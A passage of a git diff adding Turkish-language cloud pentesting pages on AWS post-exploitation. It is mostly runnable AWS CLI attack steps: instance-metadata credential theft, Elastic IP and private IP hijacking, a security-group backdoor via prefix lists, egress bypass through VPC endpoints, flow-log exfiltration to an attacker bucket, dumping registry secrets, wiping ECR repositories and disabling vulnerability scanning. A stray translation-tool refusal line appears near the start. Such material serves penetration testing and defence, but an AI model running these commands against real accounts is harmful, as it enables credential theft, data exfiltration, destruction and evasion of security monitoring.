http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +Dosya içeriği sağlanmadan çeviri yapamam. Lütfen çevirmemi istediğiniz metni (veya dosya içeriğini) buraya yapıştırın — tüm dosyayı mı yoksa belirli bölümleri mi çevirmemi istediğinizi belirtin. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Çalınan kimlik bilgilerini yerel olarak kullanarak kimliği doğrulayın: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Temizleme +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Notlar +> - Enjekte edilen SSH anahtarı yalnızca ~60 saniye geçerlidir; tüneli/SSH'yi açmadan hemen önce anahtarı gönderin. +> - `OS_USER` AMI ile eşleşmelidir (örn. `ubuntu` için Ubuntu, `ec2-user` için Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..8eeb2b38d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet + +Abuse `ec2:AssociateAddress` (ve isteğe bağlı olarak `ec2:DisassociateAddress`) kullanarak bir Elastic IP (EIP)'yi kurban instance/ENI'den saldırgan instance/ENI'ye yeniden ilişkilendirin. Bu, EIP'ye yönelen gelen trafiği saldırgana yönlendirir ve ayrıca saldırganın izin verilen genel IP ile giden trafik başlatmasına izin vererek harici ortakların güvenlik duvarlarını atlamasını sağlar. + +## Önkoşullar +- Hedef EIP allocation ID aynı hesap/VPC içinde. +- Kontrolünüzde olan attacker instance/ENI. +- İzinler: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` EIP allocation-id ve attacker instance/ENI üzerinde +- `ec2:DisassociateAddress` (isteğe bağlı). Not: `--allow-reassociation` önceki ilişkilendirmeyi otomatik olarak kaldırır. + +## Saldırı + +Değişkenler +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Kurbanın EIP'sini ayırın veya tespit edin (lab yeni bir tane ayırır ve kurbana iliştirir) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) EIP'in şu anda victim service'e çözüldüğünü doğrulayın (örnek: banner kontrolleri) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) EIP'yi attacker'a yeniden ilişkilendir (victim'den otomatik ayrılır) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) EIP'nin artık attacker servisine çözüldüğünü doğrulayın +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Delil (taşınmış ilişkilendirme): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Etki +- Inbound impersonation: Hijacked EIP'ye gelen tüm trafik attacker instance/ENI'ye yönlendirilir. +- Outbound impersonation: Attacker, allowlisted public IP'ten geliyormuş gibi görünen trafiği başlatabilir (partner/dış kaynak IP filtrelerini atlatmak için kullanışlı). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..4c7800136 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +`ec2:UnassignPrivateIpAddresses` ve `ec2:AssignPrivateIpAddresses` izinlerini kötüye kullanarak hedef ENI’nin ikincil özel IP’sini çalın ve aynı subnet/AZ içindeki saldırgan ENI’ye taşıyın. Birçok iç hizmet ve security groups erişimi belirli özel IP’lerle kısıtlar. Bu ikincil adresi taşıyarak saldırgan L3 düzeyinde güvenilen ana makineyi taklit eder ve izin verilmiş hizmetlere erişebilir. + +Önkoşullar: +- İzinler: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` hedef ENI ARN üzerinde, ve `ec2:AssignPrivateIpAddresses` saldırgan ENI ARN üzerinde. +- Her iki ENI de aynı subnet/AZ içinde olmalıdır. Hedef adres bir ikincil IP olmalıdır (primary IP kaldırılamaz). + +Değişkenler: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP +- PROTECTED_HOST= + +Adımlar: +1) Hedef ENI'den bir ikincil IP seçin +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Korunan hostun yalnızca o IP'ye izin verdiğinden emin olun (idempotent). Eğer SG-to-SG kuralları kullanılıyorsa, atlayın. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Temel durum: attacker instance'tan PROTECTED_HOST'e yapılan istek, spoofed source olmadan başarısız olmalıdır (ör. SSM/SSH üzerinden). +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Hedef ENI'den ikincil IP'yi ayırın +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) attacker ENI'ye aynı IP adresini atayın (AWS CLI v1 için `--allow-reassignment` ekleyin`) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Sahipliğin taşındığını doğrulayın +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) Saldırgan instance'tan, korunan hosta erişmek için hijacked IP'ye source-bind yapın (IP'nin işletim sistemine yapılandırıldığından emin olun; değilse `ip addr add $HIJACK_IP/ dev eth0` ile ekleyin) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Etki +- Aynı subnet/AZ içindeki ENIs arasında secondary private IPs taşıyarak IP allowlists'lerini atlatın ve VPC içindeki trusted hosts'u taklit edin. +- Belirli source IPs ile erişimi kısıtlayan internal services'e erişim sağlayarak lateral movement ve data access'e izin verir. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..3adeb6c01 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet +Müşteri tarafından yönetilen Prefix Lists'i kötüye kullanarak gizli bir erişim yolu oluşturun. Eğer bir security group (SG) kuralı bir managed Prefix List'i referans veriyorsa, o listeyi değiştirebilme yetkisine sahip herhangi biri saldırgan-kontrollü CIDR'leri sessizce ekleyebilir. Listeyi referans veren her SG (ve potansiyel olarak Network ACL veya VPC endpoint) yeni aralıklara, SG'de görünür bir değişiklik olmadan hemen izin verir. + +## Etki +- Prefix list'i referans veren tüm SG'ler için izin verilen IP aralıklarının anında genişletilmesi; yalnızca SG düzenlemelerini izleyen değişiklik kontrollerinin atlatılması. +- Kalıcı ingress/egress backdoors sağlar: kötü amaçlı CIDR'i prefix list içinde gizli tutarken SG kuralı değişmemiş gibi görünür. + +## Gereksinimler +- IAM izinleri: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (ekli SG'leri tanımlamak için) +- Opsiyonel: `ec2:CreateManagedPrefixList` (test için yenisini oluşturuyorsanız). +- Ortam: Hedef customer-managed Prefix List'i referans veren en az bir SG kuralı. + +## Değişkenler +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Saldırı Adımları + +1) **Enumerate candidate prefix lists and consumers** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +`aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` kullanarak listeye bağlı hangi SG kurallarının olduğunu doğrulayın. + +2) **attacker CIDR'yi prefix list'e ekleyin** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Güvenlik gruplarına yayılımı doğrulayın** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +`$ENTRY_CIDR`'den gelen trafik artık prefix list'in referans verildiği her yerde izinli (genellikle egress proxy'lerdeki outbound kuralları veya paylaşılan servislerdeki inbound kuralları). + +## Kanıtlar +- `get-managed-prefix-list-entries` saldırgan CIDR'sini ve açıklamayı yansıtır. +- `describe-security-group-rules` hala prefix list'e referans veren orijinal SG kuralını gösterir (hiçbir SG değişikliği kaydedilmemiş), fakat yeni CIDR'den gelen trafik başarılı olur. + +## Temizlik +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..67e332443 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet + +Bu teknik, Internet Gateways veya NAT olmayan subnets'lerden exfiltration channels oluşturmak için VPC Endpoints'i kötüye kullanır. Gateway endpoints (ör. S3) subnet route tables içine prefix‑list rotaları ekler; Interface endpoints (ör. execute-api, secretsmanager, ssm, vb.) security groups ile korunan private IP'lere sahip reachable ENI'ler oluşturur. Minimal VPC/EC2 izinleri ile bir saldırgan, public Internet üzerinden gitmeyen kontrollü bir egress etkinleştirebilir. + +> Önkoşullar: mevcut VPC ve private subnets (no IGW/NAT). VPC endpoints oluşturma izinlerine ve, Option B için, endpoint ENIs'e iliştirilecek bir security group'a ihtiyacınız olacak. + +## Seçenek A – S3 Gateway VPC Endpoint + +**Değişkenler** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) İsteğe bağlı olarak izin verici bir endpoint policy dosyası oluşturun. `allow-put-get-any-s3.json` olarak kaydedin: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) S3 Gateway endpoint oluşturun (seçili route tables'lere S3 prefix‑list route ekler): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Yakalanacak kanıtlar: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` komutu, AWS S3 prefix listesine giden bir rota gösterir (ör. `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- Bu alt ağlardaki bir instance'dan (with IAM perms) İnternet olmadan S3 üzerinden exfil yapabilirsiniz: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Seçenek B – Interface VPC Endpoint for API Gateway (execute-api) + +**Değişkenler** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Interface endpoint oluşturun ve SG'yi iliştirin: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Toplanacak kanıtlar: +- `aws ec2 describe-vpc-endpoints` endpoint'in `available` durumda olduğunu ve `NetworkInterfaceIds` (subnet'lerinizdeki ENI'ler) gösterir. +- Bu subnet'lerdeki instance'lar, bu VPCE ENI'leri üzerinden Private API Gateway endpoint'lerine erişebilir (İnternet yolu gerekmez). + +## Etki +- Perimeter egress controls'u, AWS‑managed private paths to AWS services'i kullanarak atlar. +- İzole subnet'lerden data exfiltration yapılmasına olanak tanır (ör. S3'e yazma; Private API Gateway çağırma; Secrets Manager/SSM/STS'ye erişme, vb.) IGW/NAT olmadan. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..fc88033bf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet +`ec2:CreateFlowLogs`'ı kullanarak VPC, subnet veya ENI flow loglarını doğrudan attacker-controlled S3 bucket'a aktarın. Delivery role external bucket'a yazacak şekilde yapılandırıldığında, izlenen kaynaktaki her bağlantı victim account'tan akıtılır. + +## Gereksinimler +- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created). +- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`. +- Opsiyonel: S3 yerine CloudWatch'a aktarıyorsanız `logs:DescribeLogGroups` (burada gerekli değil). + +## Attack Walkthrough + +1) **Attacker** attacker account'unda, VPC Flow Logs delivery service'in objeleri yazmasına izin veren bir S3 bucket policy hazırlar. Uygulamadan önce placeholder'ları değiştirin: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Saldırgan hesabından uygula: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) attacker bucket'ı hedefleyen flow logs oluşturur: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +Birkaç dakika içinde, izlenen VPC/subnet içindeki tüm ENI'lere ait bağlantıları içeren flow log dosyaları attacker bucket'ta görünür. + +## Kanıt + +attacker bucket'a yazılan örnek flow log kayıtları: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Bucket listeleme kanıtı: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Etki +- İzlenen VPC/subnet/ENI için sürekli ağ metadata exfiltration (source/destination IPs, ports, protocols). +- Trafik analizi, hassas hizmetlerin tespiti ve hedef hesabın dışından security group yanlış yapılandırmaları için hunting yapılmasına olanak tanır. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index 27f7b8b41..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Daha fazla bilgi için kontrol edin - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Giriş, Çekme & Gönderme -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest -docker push .dkr.ecr..amazonaws.com/purplepanda:latest - -# Downloading without Docker -# List digests -aws ecr batch-get-image --repository-name level2 \ ---registry-id 653711331788 \ ---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' - -## Download a digest -aws ecr get-download-url-for-layer \ ---repository-name level2 \ ---registry-id 653711331788 \ ---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" -``` -İmajları indirdikten sonra **hassas bilgileri kontrol etmelisiniz**: - -{{#ref}} -https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html -{{#endref}} - -### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` - -Bu izinlerden herhangi birine sahip bir saldırgan, **depolama alanındaki tüm imajları silmek için bir yaşam döngüsü politikası oluşturabilir veya değiştirebilir** ve ardından **tüm ECR deposunu silebilir**. Bu, depoda saklanan tüm konteyner imajlarının kaybına yol açar. -```bash -bashCopy code# Create a JSON file with the malicious lifecycle policy -echo '{ -"rules": [ -{ -"rulePriority": 1, -"description": "Delete all images", -"selection": { -"tagStatus": "any", -"countType": "imageCountMoreThan", -"countNumber": 0 -}, -"action": { -"type": "expire" -} -} -] -}' > malicious_policy.json - -# Apply the malicious lifecycle policy to the ECR repository -aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json - -# Delete the ECR repository -aws ecr delete-repository --repository-name your-ecr-repo-name --force - -# Delete the ECR public repository -aws ecr-public delete-repository --repository-name your-ecr-repo-name --force - -# Delete multiple images from the ECR repository -aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 - -# Delete multiple images from the ECR public repository -aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md new file mode 100644 index 000000000..627f1b259 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -0,0 +1,210 @@ +# AWS - ECR Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Daha fazla bilgi için bakınız + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Login, Pull & Push +```bash +# Docker login into ecr +## For public repo (always use us-east-1) +aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ +## For private repo +aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com +## If you need to acces an image from a repo if a different account, in set the account number of the other account + +# Download +docker pull .dkr.ecr..amazonaws.com/:latest +## If you still have the error "Requested image not found" +## It might be because the tag "latest" doesn't exit +## Get valid tags with: +TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') +curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list + +# Inspect the image +docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 +docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL + +# Upload (example uploading purplepanda with tag latest) +docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest +docker push .dkr.ecr..amazonaws.com/purplepanda:latest + +# Downloading without Docker +# List digests +aws ecr batch-get-image --repository-name level2 \ +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' + +## Download a digest +aws ecr get-download-url-for-layer \ +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +``` +Görüntüleri indirdikten sonra **hassas bilgiler açısından kontrol etmelisiniz**: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` + +Bu izinlerden herhangiğine sahip bir saldırgan, **repository içindeki tüm görüntüleri silmek için bir lifecycle policy oluşturabilir veya mevcut bir lifecycle policy'yi değiştirebilir** ve ardından **tüm ECR repository'sini silebilir**. Bu, repository'de depolanan tüm container görüntülerinin kaybına yol açar. +```bash +# Create a JSON file with the malicious lifecycle policy +echo '{ +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) + +Eğer ECR Pull‑Through Cache yetkilendirilmiş upstream registries (Docker Hub, GHCR, ACR, vb.) için yapılandırıldıysa, upstream credentials AWS Secrets Manager içinde öngörülebilir bir isim önekiyle saklanır: `ecr-pullthroughcache/`. Operatörler bazen ECR yöneticilerine geniş Secrets Manager okuma erişimi verir; bu durum credential exfiltration ve AWS dışında yeniden kullanımına olanak tanır. + +Gereksinimler +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +PTC için aday secrets'leri listeleme +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Keşfedilen gizli bilgileri dök ve ortak alanları ayrıştır +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +İsteğe bağlı: leaked creds'i upstream'e karşı doğrulayın (read‑only login) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Impact +- Bu Secrets Manager girdilerinin okunması, yeniden kullanılabilir upstream registry kimlik bilgileri (username/password or token) sağlar; bunlar AWS dışında özel görüntüleri çekmek veya upstream izinlerine bağlı olarak ek depolara erişmek için kötüye kullanılabilir. + + +### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` + +Registry düzeyinde ECR izinlerine sahip bir saldırgan, registry tarama yapılandırmasını BASIC olarak ayarlayıp scan-on-push kuralları eklemeden, TÜM repolardaki otomatik zafiyet taramalarını sessizce azaltabilir veya devre dışı bırakabilir. Bu, yeni image push'larının otomatik olarak taranmasını engeller ve zafiyetli veya kötü amaçlı görüntüleri gizler. + +Requirements +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (isteğe bağlı, repo başına) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (doğrulama) + +Registry genelinde manuel moda düşürme (otomatik tarama yok) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Bir repo ve image ile test +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists 